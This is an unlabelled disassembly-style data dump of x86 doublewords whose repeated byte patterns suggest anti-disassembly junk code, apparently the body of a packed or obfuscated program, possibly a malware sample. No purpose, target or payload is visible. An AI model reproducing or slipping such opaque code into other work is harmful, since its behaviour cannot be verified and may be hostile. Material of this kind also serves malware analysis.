		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 9168C352h
		dd 85890A7Ah, 7E90801h,	9E8h, 0FE899900h, 0CD317867h, 0B58B7778h
		dd 7E90881h, 6AE1FF5Eh,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0F262C353h,	0A766DC3Fh
		dd 0F5BD2938h, 8B07E908h, 0E91611B5h, 0B18D8D07h, 6A07E90Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0C981C355h, 14745DEEh, 85295356h,	7E91585h
		dd 1C75E5Fh, 54CA95A5h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 5AC35747h, 1F29EF09h,	0BF662BD9h, 0BD8B4F0Dh
		dd 7E91EEDh, 0CFCB0181h, 6A1499h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0C7282DC3h, 59690441h
		dd 8166CE5Fh, 89728BCEh, 0E92A5DBDh, 4418107h, 31D6D710h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0B7C35646h
		dd 9A06C209h, 6A3FD52Dh, 0DBD8900h, 8D07E900h, 0E90AB185h
		dd 0BF665007h, 4894507h, 68D0F24h, 33000000h, 0E925F9B5h
		dd 4995FF07h, 6A07E926h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 33DFC350h, 0DED0BC8Eh
		dd 8D8DD13Ch, 7E90AB1h,	0C7FBBF0Fh, 1, 56BE6600h, 2DBD239Fh
		dd 0C707E901h, 441h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 0FC6572C3h, 840FC00Bh
		dd 6Bh,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh
		dd 8AC35242h, 0C757B43Eh, 0BEB97BE4h, 5EC691F2h, 2F51BD8Bh
		dd 8D8D07E9h, 7E94D5Ah,	0C79BD33h, 5B807E9h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 46DBC355h, 2200E068h, 0FF0A0D55h,	70DE81E1h
		dd 31489A0h, 0F144E9CAh, 8960FFFFh, 0E90709B5h,	6123B307h
		dd 0C958589h, 0C18B07E9h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 45C35141h, 258529E9h,	0EB07E909h, 4
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 66EB93C8h, 0FC3506BEh, 861858Dh,	958907E9h
		dd 7E91B19h, 52506050h,	5A57310Fh, 6652585Ah, 6159F28Bh
		dd 6A240489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 42CEC353h, 4F102D17h, 0B46025D4h
		dd 0D5858952h, 6107E930h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0C244FEC3h, 0BF668333h
		dd 6A6DCDh, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 17h,	0D9C35141h, 9EE6F0Fh, 0E929EDB5h, 0DBEE8107h, 8D046477h
		dd 0ED08CF85h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 4B96D67h, 94BE6660h, 0D2BF0F07h
		dd 6810F61h, 33000000h,	0E90CDDBDh, 5C08307h, 0BE9h, 90244800h
		dd 0AA7A31AFh, 5269C073h, 8950F08Bh, 6A2404h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 7FC7B8C3h
		dd 0EF4E9D30h, 3099B58Bh, 6A07E9h, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0EE097BC3h
		dd 0EAA7D681h, 95FF712Eh, 7E90FB9h, 6E8h, 3B48A00h, 8B4B35BFh
		dd 0E907BDBDh, 9D8D5F07h, 7ECD72Ch, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 16h, 91C35040h, 0A4BF948Ah, 0FF103906h
		dd 57006AD3h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 0F6CC696h, 85FFF0BFh, 7E90F9Dh, 0F0FD9BBFh
		dd 8FCE908h, 0E80000h, 5D000000h, 8D9ED81h, 6A07EDh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 5F539CC3h, 2AD1BD81h, 7D007E9h, 860F0000h, 158h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 37C35545h, 2F45BD31h
		dd 9D8B07E9h, 7E911B9h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 2CC35343h, 663E7308h,	0E9D1DBBFh, 0Ah
		dd 811F61F8h, 8FEA4169h, 0E3812A27h, 100h, 0E5BD0952h
		dd 5E07E91Ah, 850FDB0Bh, 81h, 13619D29h, 0BF6607E9h, 0BD832B2Bh
		dd 7ED06F7h, 2C840F00h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 82FAC357h
		dd 0F6BF0F72h, 6AE9h, 7DB50B00h, 0C707E91Bh, 0ED06F785h
		dd 107h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 6478445Ch, 66383ABFh, 69BD3325h
		dd 6607E92Ah, 4160E781h, 26E9h,	0F785C700h, 7ED06h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 8D8CC350h, 0E911B99Dh, 52006A07h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0BD33EA52h
		dd 7E90261h, 0AD9589h, 238107E9h, 0FFFFFEFFh, 0D5BD8B60h
		dd 6607E91Dh, 6183D6B8h, 6ADB8C66h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0F6CFC353h
		dd 840F04C3h, 0A7h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0A5C35747h, 54F50C65h, 816842D9h, 5958BDF7h
		dd 14E84Bh, 0B72A0000h,	6636AB86h, 0C9B98869h, 5DE1A436h
		dd 75A081Dh, 0B58B87BAh, 7E93209h, 5995FF5Eh, 6A07E900h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 81BFC351h, 6B32A409h, 0B58B4E85h,	7E92EFDh
		dd 0EE850h, 0C7EA0000h,	0EEF5841h, 27205FD2h, 406FC1D5h
		dd 890F5250h, 0
		dd 585A310Fh, 2404895Fh, 244DBD8Bh, 816607E9h, 0E938F7CFh
		dd 425h, 1D619D89h, 0B007E9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 33C35747h, 0AE6E069Eh, 0BEC45B1Dh
		dd 4C3BD3B8h, 6A70E6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 681030C3h, 0C956C01Ah, 0FA8B7865h
		dd 6A71E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 18FE80C3h, 20C2EB6Bh, 0FB1B960h, 6AD8B6h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0BBEAB5C3h, 5CE7FB9Ch, 1649BD23h, 0BD8907E9h, 7E91339h
		dd 6BAh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 6FF06E70h, 0FCEF96B9h, 0C38B118Ah
		dd 34CDB58Bh, 0E8C107E9h, 50006A04h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0F766F941h
		dd 55006AE2h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0B74ED552h, 6AD82BCAh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0F468C351h
		dd 0E200A0C0h, 79BD2B8Bh, 9307E910h, 830F5750h,	0
a__pfUj		db '__Pf¾',1Bh,'º“j',0
		dw 0E853h
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 5CC35343h, 0DE8h
		dd 4CF16F00h, 0E2F58A48h, 367380EEh, 0BD894ADEh, 7E90259h
		dd 2195895Fh, 0FF07E91Fh, 0E92AD1B5h, 31B58B07h, 0FF07E930h
		dd 0E90C3195h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 66B99F32h, 0E8E590BAh
		dd 9, 0F9EF591Dh, 96A80AFh, 0B595295Fh,	5F07E90Bh, 2CD1BD8Bh
		dd 0B007E9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	0BBC35747h, 62C4D450h, 0FB0BF18h, 71B58B57h, 5F07E91Eh
		dd 1209B58Bh, 70E607E9h, 61BD2360h, 6007E924h, 1F19B58Bh
		dd 13E907E9h, 44000000h, 435BD272h, 0BD5C56ADh,	6559830Fh
		dd 456C588h, 6161A443h,	336071E4h, 0E92CC1BDh, 6880F07h
		dd 8B000000h, 0E908C585h, 613C6107h, 1BF830Fh, 0BD090000h
		dd 7E91D31h, 0BFD8B60Fh, 751781B9h, 1E71BD01h, 6BA07E9h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0EE0AC351h, 1858918h, 8B07E90Fh
		dd 51006AC3h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 302B3626h, 0E9599BA9h, 0Fh, 0EF11191Eh
		dd 796F3041h, 212FD7FEh, 8960B343h, 0E90AA1BDh,	4E8C107h
		dd 313DBD89h, 0F76607E9h, 719589E2h, 2B07E929h,	58F38BD8h
		dd 880FD82Bh, 125h, 0DEE1BE66h,	7B9h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 0F3B70F2Bh, 0F00C183h, 688h,	870F00h, 3B000000h, 0E6860FD9h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0C571C356h, 5101D935h,	664B28C8h
		dd 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0C05B59C3h, 0A5BD89C1h, 0F607E91Dh, 840F04C1h
		dd 89h,	0FE8h, 0EB700C00h, 26F16911h, 8FE2DC9Bh, 6C3446AFh
		dd 2A65B58Bh, 0FF5E07E9h, 0E9005995h, 895BF507h, 0E911B58Dh
		dd 8BC32B07h, 8343DF8h,	860F0000h, 51h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 16h, 0D3C35242h, 8F0F2AEBh
		dd 0
		dd 13898529h, 2AE907E9h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0E65C356h
		dd 0D65C8128h, 89C08BF8h, 0E9313595h, 8BC38B07h, 50006AD8h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 11E820CDh, 10000000h, 95B34634h, 6B19E8FCh, 0EF6937DAh
		dd 0ED5B6489h, 0F3B70F50h, 85C75F5Eh, 7E9181Dh,	5956F579h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 90C35343h
		dd 3BB04BFBh, 0F49BD8Bh, 0C08B07E9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0A3C35646h,	0D9B45870h, 0F335B62h
		dd 9D09FEBFh, 7E9161Dh,	5A3AE781h, 0BD8122F2h, 7E92AD1h
		dd 7D0h, 5B850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 6BE337C3h, 9D89CC14h
		dd 7E9130Dh, 2AD185FFh,	6A07E9h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 71D985C3h, 91977F44h
		dd 880FBB2Fh, 5, 217728BEh, 0D1B5FF53h,	0F07E92Ah, 95FFFAB7h
		dd 7E90C31h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	0D6C35646h, 1F6F264Dh, 0E727028Fh, 8E9C8h, 692E0000h
		dd 0C4A06480h, 8B901BAEh, 0E93001B5h, 99BD8907h, 8107E92Ah
		dd 0E0F0B2DEh, 8A0F600Dh, 5, 0B1E08166h, 7D8D012Bh, 6107E913h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 50C35242h
		dd 0BD2BE883h, 7E922A9h, 31F78B66h, 0E931359Dh,	0A1BD8B07h
		dd 0E907E919h, 0Ah, 4282AA23h, 0BAF0A43h, 8529194Fh, 7E914EDh
		dd 2CC1B501h, 665307E9h, 5FC079BEh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 14h, 0FAC35040h,	0C690BF66h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 26C35242h, 11E9h
		dd 77204F00h, 7DE24A94h, 5CBF144Ch, 50DB3234h, 8B60D1B4h
		dd 0E9093985h, 298D0B07h, 8A07E900h, 0BF6661DEh, 6A83B7h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 51FEEBC3h, 0E9FAA8AFh, 0FFFFF722h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 92C35545h, 0C18B32EAh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0ABC35242h, 81A4B251h
		dd 0A5CBCBD7h, 4EB38h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 8E27C352h
		dd 19DDB589h, 2EBE07E9h, 8D052377h, 0E9086185h,	8E0F9007h
		dd 19h,	14E9h, 5A203C00h, 0C7E6A2Fh, 0AC5C97A4h, 860064E0h
		dd 0CC3AD1Eh, 5E950FBh,	23000000h, 0EC6EB4E7h, 53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0E769FF5Fh, 52360F2Ah, 0BE66FC69h, 8B662D68h, 68A0FF7h
		dd 89000000h, 0E9266595h, 6A006A07h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 519FC353h
		dd 0F674BF66h, 2DB5035Eh, 6A07E907h, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 2BB7659Eh
		dd 5DD78163h, 8D201651h, 0ED143B85h, 0A9BD8B07h, 8307E911h
		dd 6A05C0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 3BACBC3h,	884A9A65h, 29ED8589h, 59BE07E9h
		dd 0BE37E586h, 38CF7895h, 0CE990h, 79BF0000h, 62FC872Eh
		dd 0DF1CC020h, 50505CD8h, 66310F52h, 585AF38Bh,	53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 5DABC372h, 4538CC6Fh, 8E0F2954h, 6, 0C99D89h, 0D68107E9h
		dd 0A0BFECDh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0BB74DAC3h, 0C3A37636h, 7498D89h
		dd 6A07E9h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 1Ah,	87C35040h, 73CAE9B6h, 0F18BA5E0h, 0FB995FFh, 6A07E9h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 9D8DA6C3h, 7ECD72Ch,	6AD3FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 0E0B901C3h, 0DD07536Bh
		dd 85952924h, 0E807E90Bh, 0Ah, 2C96E4B4h, 0D2EB9BB3h, 820FA4BAh
		dd 0
		dd 9D85FF5Eh, 8907E90Fh, 0E91CC195h, 774E907h, 0E80000h
		dd 5D000000h, 1445ED81h, 6A07EDh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 9E4336C3h, 0BD812016h
		dd 7E92AD1h, 7D0h, 1F7860Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 867CCCC3h
		dd 0BDBD8952h, 8B07E92Eh, 0E91B65B5h, 5D9D8B07h, 6A07E91Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 5C4CC351h, 0B311F533h, 1845BD8Bh,	0E38107E9h
		dd 100h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	9FC35747h, 5C23F73Eh, 4F2AA7B8h, 0F98D89CEh, 8B07E917h
		dd 0E91E4DBDh, 0FDB0B07h, 0FB85h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 29768C7Eh
		dd 83FE8B40h, 0ED11F9BDh, 840F0007h, 75h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Bh, 0CFC35646h, 309D2AADh
		dd 0E87251EBh, 0Dh, 0E6E93AA7h,	0C566DA58h, 41C9764h, 0CE821h
		dd 5A360000h, 0E97CE5h,	7E228B95h, 9D09FF74h, 7E924E1h
		dd 85E95E5Fh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 58FFC355h, 0DD31684Dh
		dd 0F985C7BEh, 107ED11h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0F03FC350h
		dd 0A1895216h, 0E9AD2567h, 30h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0E7C35040h,	675A107h, 0BB4F5D4Bh
		dd 11F985C7h, 7EDh, 0F78B0000h,	1E5D9D8Dh, 6A07E9h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 9396F5C3h, 65B10139h, 81F08B66h, 0FFFEFF23h,	52006AFFh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0B5297D3Fh, 7E90185h, 0A9BF66FCh, 0DB8C6671h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0B0C35040h, 896B1BA9h
		dd 0E92FC98Dh, 3DB58907h, 0F607E90Fh, 840F04C3h, 59h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 5DC35040h, 624A14B9h
		dd 915A3A2Eh, 85B58BD4h, 0FF07E913h, 0E9005995h, 5090F507h
		dd 6A90F28Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 7B12C355h, 314C089Fh, 2DCE999h
		dd 840F0000h, 3, 0B0F2BF0Fh, 8970E600h,	0E908F595h, 8971E407h
		dd 0E92FF1B5h, 0EE907h,	0E7FE0000h, 2C3A90A9h, 0C39D0F57h
		dd 298AC43Ch, 0BAD8B60Fh, 6, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0C4C35747h,	8BF5D5C3h, 0E91DC5B5h
		dd 6AC38B07h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 7C7C357h, 0C9BAA9C1h, 4E8C131h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0FAC35343h
		dd 0B70FD2FEh, 0E2F766F2h, 6660D82Bh, 0F90FC0B8h, 7E95061h
		dd 23000000h, 385CA369h, 1C8908F5h, 14E924h, 0CA040000h
		dd 0D3DA3F80h, 35CD9C95h, 625C6D1h, 8559637Bh, 0BF662804h
		dd 0B5FF32BCh, 7E92AD1h, 5820Fh, 81660000h, 0BF1D38CFh
		dd 164BD268h, 0C3195FFh, 816607E9h, 0B0D5DCDEh,	9D8B6000h
		dd 7E91A79h, 16258501h,	0E66107E9h, 6DB52970h, 0E407E90Bh
		dd 6E971h, 9FD60000h, 0A24F4E3Dh, 830F613Ch, 1B2h, 269B533h
		dd 0B60F07E9h, 9B501D8h, 0F07E935h, 84h, 6BA00h, 11E80000h
		dd 37000000h, 0A472BBBh, 56677CBBh, 5A5751F6h, 225A35CCh
		dd 68E0Fh, 0CE810000h, 52689FB3h, 66C38B5Eh, 0A005C781h
		dd 104E8C1h, 0E93461BDh, 9E807h, 0D8F30000h, 1EC58010h
		dd 0F81F8FD2h, 0E2F7665Fh, 2BF2B70Fh, 52006AD8h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 2B58BDCFh, 27880FD8h, 0F000001h, 7B9FBBFh, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0A783C350h, 3CCCB3CFh, 0BD2BA63Fh, 7E92B51h
		dd 0F53BC781h, 0C1835F54h, 51BD3300h, 3B07E92Fh, 0DF860FD9h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 3540C351h, 331F6F6h, 8C66932Ah
		dd 50006AD9h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 52E92E43h, 0D1D78072h, 4C1F670h,	6B840Fh
		dd 0BD030000h, 7E916ADh, 5995FFh, 9D8907E9h, 7E9350Dh
		dd 96BF665Bh, 60C32BE4h, 8818589h, 0B58B07E9h, 7E92B01h
		dd 3745BF61h, 343D077Ah, 0F000008h, 3486h, 0F8515100h
		dd 4BE95E5Fh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0D00C355h, 57922707h
		dd 32B72665h, 0D7EF8166h, 6AC08B22h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0BA03C352h
		dd 0C38BB98Bh, 820FD88Bh, 6, 3105BD8Bh,	85C707E9h, 7E911B9h
		dd 77ED4BFBh, 1AAD9509h, 0C08B07E9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 8DC35545h, 9BC86A89h, 68E000AEh
		dd 288F0F0Ah, 0E8000000h, 12h, 0D56A54F0h, 54A05456h, 1D6F941Ah
		dd 5F24E592h, 0BE9A582h, 1A000000h, 0A6BCC43Eh,	42630E6Eh
		dd 815EB21Ah, 0E92AD1BDh, 7D007h, 9850F00h, 0FF000000h
		dd 0E92AD185h, 0F88B6607h, 2AD1B5FFh, 816607E9h, 0FF3A50C6h
		dd 0E90C3195h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 9030F785h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 45C35343h, 300D4BD6h
		dd 0BE82BFBh, 0B2000000h, 409D3A43h, 517F2E21h,	0FE8313Eh
		dd 0FF000000h, 6547C9Ah, 37877FB4h, 2E4C2F0Ch, 6E8687Ch
		dd 94000000h, 0CF6E292Ch, 870F5E70h, 0
		dd 699D895Fh, 5F07E921h, 0B5895157h, 7E90AF1h, 0F7C78166h
		dd 2B5E5F5Dh, 0E92A95BDh, 85895307h, 7E91391h, 13E9h, 2D138000h
		dd 377FA474h, 0F77D1F4h, 0A4CB30BDh, 0F16D6FA4h, 0E19D895Eh
		dd 0F507E929h, 95896050h, 7E93195h, 0FE9h, 0F0F59000h
		dd 25A0CBCCh, 0F061C330h, 34E69D18h, 26A19589h,	10E907E9h
		dd 4A000000h, 7AF8285Fh, 0DD9E18DBh, 0BCF94A75h, 61D28985h
		dd 5FF18B66h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 16h,	64C35040h, 0BF66C42Eh, 8166D0CAh, 660B7DC7h, 0E942CDBEh
		dd 0FFFFF896h, 0FECE8166h, 0D781669Fh, 0C18BCBBEh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 6FC35040h, 40ABA8F6h
		dd 66FB8B2Fh, 51CC09BEh, 2A85BD23h, 0EB5F07E9h,	4, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0EBC5E79Ah, 918529D4h, 3107E902h, 0E929F595h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0F08B66D8h, 861858Dh, 0C9BE07E9h, 506CFDFAh,	11E853h
		dd 0FBEC0000h, 0C4AF7D97h, 0E780E25Fh, 3894BDCBh, 5EC86CFDh
		dd 2404895Fh, 3055B50Bh, 666007E9h, 0BF92E881h,	2F31BD8Bh
		dd 6A6107E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 8A12C9BDh, 75FF9BD7h, 0F006A74h
		dd 382h, 0FE8B6600h, 1DC3858Dh,	6A07EDh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 722809C3h
		dd 0BA5CC5CEh, 0F78B660Eh, 6A05C083h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 7B4FC355h
		dd 6800Fh, 0BD310000h, 7E92691h, 0F98B6650h, 0BE240489h
		dd 4578AF3Eh, 8960006Ah, 0E90939B5h, 998D3307h,	6107E913h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0E6541CC3h, 0ADE1549Dh, 0B995FF1Ch, 6A07E90Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 5E9FC356h, 0BD893523h, 7E91821h, 0D72C9D8Dh
		dd 316007ECh, 0E9245195h, 0CF8B6607h, 6AD3FF61h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0AC63C353h, 0FFF5A719h, 0E90F9D85h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 893AAC2Eh, 0E92E5D95h, 8A1E907h, 0E80000h, 5D000000h
		dd 1DCDED81h, 6A07EDh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 813A31C3h, 0E92AD1BDh, 7D007h, 8E860F00h
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 64CC353h, 0BFF1807Ch, 10E81B53h
		dd 0B8000000h, 103A9CACh, 35166DB2h, 3AFE92ECh,	0F2E4F8Ah
		dd 389h, 0F08B6600h, 0E19D8B5Fh, 8907E92Fh, 0E9345185h
		dd 81B58B07h, 8107E92Ch, 100E3h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0DBBD9022h
		dd 0CCD36315h, 8B66B35Ch, 0FDB0BF9h, 0A485h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0B70FCDBCh, 0E7BD83F0h, 7ED1Bh, 19840Fh, 8D010000h
		dd 7E91C21h, 172DB58Bh,	7CE907E9h, 52000000h, 13C99589h
		dd 0C75F07E9h, 0ED1BE785h, 107h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 946DF881h
		dd 0E68166A8h, 40E98F22h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 610DC357h
		dd 7A801F1Ah, 8B7F9D93h, 0E91825B5h, 0E785C707h, 7ED1Bh
		dd 29000000h, 0E90F49BDh, 0ADBD8B07h, 8D07E92Ch, 0E92FE19Dh
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 0BBCCC0F0h, 820FB12Eh, 0Bh, 5860Fh, 81660000h
		dd 818FC4D7h, 0FFFEFF23h, 59589FFh, 8907E900h, 0E92595B5h
		dd 0DB8C6607h, 1C65B58Bh, 0C3F607E9h, 4B840F04h, 8B000000h
		dd 5995FFF3h, 0F07E900h, 685h, 0FD958900h, 5007E902h, 0AE8h
		dd 54BD0B00h, 3B2DF8C1h, 662E4A38h, 895FF88Bh, 6A2404h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0E281F6C3h, 0E1E97C02h, 8B000003h, 0E92EBDBDh, 0F00B007h
		dd 8960FABFh, 0E91BB1B5h, 0AE907h, 3ECC0000h, 15B93C86h
		dd 2A986529h, 0F70E661h, 18Dh, 71E4F800h, 2CA5BD89h, 0B60F07E9h
		dd 49B509D8h, 0BA07E91Dh, 6, 6AC38Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 771B95C3h
		dd 0D9BFB729h, 5060968Bh, 159D9D89h, 815907E9h,	0DDFCEBDAh
		dd 0F60611Eh, 0B70FFFB7h, 0E8C161F9h, 0FE8B6604h, 5D9589h
		dd 0F76607E9h, 56006AE2h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 0F6CF18Fh, 589h, 0B70F5100h
